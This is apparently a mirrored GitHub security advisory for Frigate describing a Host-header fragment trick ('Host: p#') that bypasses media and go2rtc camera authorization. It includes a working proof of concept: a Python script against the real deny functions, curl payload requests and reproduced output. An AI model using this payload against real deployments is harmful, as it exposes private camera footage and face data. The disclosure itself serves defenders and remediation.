GHSA-935R-R3XX-6GMW
Host-Header Fragment Truncation Bypasses Media and go2rtc Authorization in Frigate
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-935R-R3XX-6GMW divulgada · CVSS 6.5 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
Frigate's nginx layer authorizes protected media and live-stream requests through an `/auth` subrequest that receives the requested URI in the `X-Original-URL` header, constructed as `$scheme://$http_host$request_uri`. The `$http_host` component is the client's own `Host` header and is forwarded verbatim. Because both authorization decision functions parse this header with `urlparse`, a `Host` header containing a `#` moves the entire real request path into the URL fragment. The parsed path is then empty, the media classifier sees a non-media URI, and the request is allowed, while nginx serves the directly requested file under the protected media location. An authenticated user with a restricted camera role can therefore read clips, recordings, exports (including admin-only `clips/faces/` content) and open go2rtc live streams of cameras outside their allow-list.
Details
Frigate restricts role-based users from media outside their camera allow-list at the nginx `auth_request` layer. `docker/main/rootfs/usr/local/nginx/conf/proxy.conf:5` (and `auth_location.conf:17`) constructs the header that the `/auth` handler classifies:
proxy_set_header X-Original-URL $scheme://$http_host$request_uri;`$http_host` is the raw client `Host` header. In `frigate/api/media_auth.py`, `extract_path()` (lines 44-70) parses this value:
parsed = urlparse(original_url)
raw_path = parsed.path or original_urlWhen the client sends `Host: p#` for `GET /clips/back_door-9876543210.mp4`, the constructed header is `http://p#/clips/back_door-9876543210.mp4`. `urlparse` puts the entire request path into the fragment, so `parsed.path` is empty and `extract_path` falls back to the full string `/http://p#/clips/...`. `resolve_media_uri()` (lines 73-97) splits that string and reads the first segment as `http:`, which matches none of the media roots, returning `UNKNOWN`. `deny_response_for_media_uri()` (lines 241-290) returns `None` (allow) for `UNKNOWN` at lines 266-268.
The same truncation defeats `deny_response_for_go2rtc_stream()` (`frigate/api/auth.py:1251-1294`), which compares `parsed.path` against the exact go2rtc proxy paths (`/live/mse/api/ws`, `/live/webrtc/api/ws`, `/api/go2rtc/webrtc`) before inspecting the `src` query parameter. With a `#` in the Host header the path is empty and the query lives inside the fragment, so the function returns `None` at the path check without ever evaluating the camera allow-list. This function is the remediation introduced in commit `a1c8bf9` (2026-09-28) for GHSA-hh3j-7g2f-43j2, so exploitation also defeats that fix's intended boundary, although the same root cause equally affects the media deny functions that predate it. No dot segments are involved: the request path itself is clean, only the attacker-supplied authority component changes how the URL dissects.
nginx itself is indifferent to the Host value for these locations, so after the `/auth` subrequest returns 202 the protected file is served from `/media/frigate` exactly as a same-camera request would be. The official 0.17.0 image (verified live at 127.0.0.1:8971) ships the identical `proxy_set_header` line and auth locations.
Proof of concept
Environment: Frigate master checkout at revision `d1cb8395eabe` (2026-10-01) available locally, a Python interpreter able to import `frigate.api` from that checkout, plus `nginx` and `curl` for the header-construction proof. No running Frigate instance is required. The archive automates both layers.
Standalone decision check against the real authorization function from the master checkout (role `limited` with allow-list `["front_door"]`, forbidden camera `back_door`). The header value is built exactly as nginx builds it:
python3 - <<'EOF'
import sys
sys.path.insert(0, "/home/ubuntu/HuntTargets/frigate")
import frigate.detectors.detector_config as _dc
_orig = _dc.load_labels
_dc.load_labels = lambda p, encoding="utf-8": _orig("/home/ubuntu/HuntTargets/frigate/labelmap.txt" if p == "/labelmap.txt" else p, encoding)
from frigate.config import FrigateConfig
from frigate.api.media_auth import deny_response_for_media_uri
cfg = FrigateConfig(**{
"mqtt": {"enabled": False},
"auth": {"enabled": True, "roles": {"limited": ["front_door"]}},
"detect": {"enabled": False},
"cameras": {
"front_door": {"ffmpeg": {"inputs": [{"path": "rtsp://127.0.0.1:1/video", "roles": ["detect"]}]}, "detect": {"enabled": False}},
"back_door": {"ffmpeg": {"inputs": [{"path": "rtsp://127.0.0.1:2/video", "roles": ["detect"]}]}, "detect": {"enabled": False}},
},
})
control = "http://frigate.local/clips/back_door-9876543210.mp4"
payload = "http://p#/clips/back_door-9876543210.mp4"
print("Control deny_response_for_media_uri ->", deny_response_for_media_uri(control, "limited", cfg))
print("Payload deny_response_for_media_uri ->", deny_response_for_media_uri(payload, "limited", cfg))
EOFActual observed output:
Control deny_response_for_media_uri -> 403
Payload deny_response_for_media_uri -> NoneThe control line proves the gate exists and intends to deny a restricted role access to another camera's clip (403). The payload line shows that with the `#`-carrying Host the identical request path is authorized (None).
Header-construction proof with Frigate's own `proxy_set_header` line on a loopback capture rig. Start a capture server on 127.0.0.1:8098 and an nginx instance on 127.0.0.1:8099 with the same header line, then send the control and payload requests:
curl -s -o /dev/null -H 'Host: frigate.local' 'http://127.0.0.1:8099/clips/faces/adminface-testfile.txt'
curl -s -o /dev/null -H 'Host: p#' 'http://127.0.0.1:8099/clips/faces/adminface-testfile.txt'Captured `X-Original-URL` values:
CAPTURED X-Original-URL: http://frigate.local/clips/faces/adminface-testfile.txt
CAPTURED X-Original-URL: http://p#/clips/faces/adminface-testfile.txtControl shows the protected path in the URL path where the deny functions classify it (403). Payload shows nginx forwards the attacker's Host verbatim, placing the protected path inside the fragment where the deny functions no longer see it.
Automated run from the attached archive (`frigate-host-fragment-media-auth-bypass-PoC.zip`), executed from an extracted copy in a clean state:
$ deployment/deploy.sh
Layer 1 ready: decision-level test via /tmp/frvenv/bin/python (/home/ubuntu/HuntTargets/frigate)
Layer 2 ready: nginx capture rig on 127.0.0.1:8099 -> capture server 127.0.0.1:8098 (log /tmp/vt020-capture/out.log)
$ poc/poc.sh
== Layer 1: authorization decision on master code (/home/ubuntu/HuntTargets/frigate) ==
Did not detect hwaccel, using a GPU for accelerated video decoding is highly recommended
Error detecting stream parameters automatically for rtsp://127.0.0.1:1/video Applying default values.
Error detecting stream parameters automatically for rtsp://127.0.0.1:2/video Applying default values.
== controls: plain Host, security gate must hold ==
[PASS] control: forbidden-camera clip denied for restricted role (got 403)
[PASS] control: ADMIN_ONLY /clips/faces/ denied for restricted role (got 403)
[PASS] control: forbidden-camera go2rtc stream denied (got 403)
== payloads: Host header with '#' fragment ==
X-Original-URL = 'http://p#/clips/back_door-9876543210.mp4' -> urlparse().path = '', fragment = '/clips/back_door-9876543210.mp4'
extract_path() -> '/http://p#/clips/back_door-9876543210.mp4'
resolve_media_uri -> MediaAuthResolution.UNKNOWN, camera=None
[PASS] payload: Host 'p#' authorizes forbidden-camera clip (got None)
[PASS] payload: Host 'p#' authorizes ADMIN_ONLY /clips/faces/ (got None)
[PASS] payload: Host 'p#' authorizes forbidden go2rtc stream (got None)
[PASS] payload: Host 'p#' authorizes exports path (unresolved->allow) (got None)
RESULT: 7 passed, 0 failed
== Layer 2: nginx X-Original-URL construction (capture rig) ==
$ curl -s -o /dev/null -H 'Host: frigate.local' http://127.0.0.1:8099/clips/faces/adminface-testfile.txt
$ curl -s -o /dev/null -H 'Host: p#' http://127.0.0.1:8099/clips/faces/adminface-testfile.txt
CAPTURED X-Original-URL: http://frigate.local/clips/faces/adminface-testfile.txt
CAPTURED X-Original-URL: http://p#/clips/faces/adminface-testfile.txt
[PASS] control: plain Host keeps the protected path in the URL path (deny functions classify it and would 403)
[PASS] payload: Host 'p#' moves the protected path into the fragment (deny functions see UNKNOWN and allow)
RESULT: VT-020 reproduced (both layers)Layer 1 exercises the real decision functions from the master checkout with three controls proving the gate holds under a plain Host and four payloads proving authorization of forbidden media under a `#`-carrying Host. Layer 2 proves the nginx half of the chain with captured header values.
Impact
An authenticated user with a restricted camera role (non-empty `auth.roles` allow-list) can read clips, recordings and exports of cameras outside their allow-list, including admin-only `clips/faces/` content (face snapshots and classifier training data), and can open go2rtc live streams (`/live/mse/api/ws`, `/live/webrtc/api/ws`, `/api/go2rtc/webrtc`) of forbidden cameras by sending their legitimate session cookie with a `Host` header containing `#`. This defeats the role-based camera isolation that restricted roles exist to provide, at the same boundary the project hardened against dot-segment traversal, and bypasses the enforcement added for GHSA-hh3j-7g2f-43j2. Confidentiality only, no integrity or availability impact was demonstrated.
A minimal fix direction: have nginx transmit the request path in a header that cannot absorb the Host (for example `proxy_set_header X-Original-URI $request_uri;` plus a separate trusted Host header), or make the deny functions parse only the `$request_uri`-derived portion and reject original URLs whose authority component is not the deployment's own host.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypifrigate |
Sin parche | — | — | 0.7.0 afectada |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/blakeblackshear/frigate/security/advisories/GHSA-935r-r3xx-6gmwLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
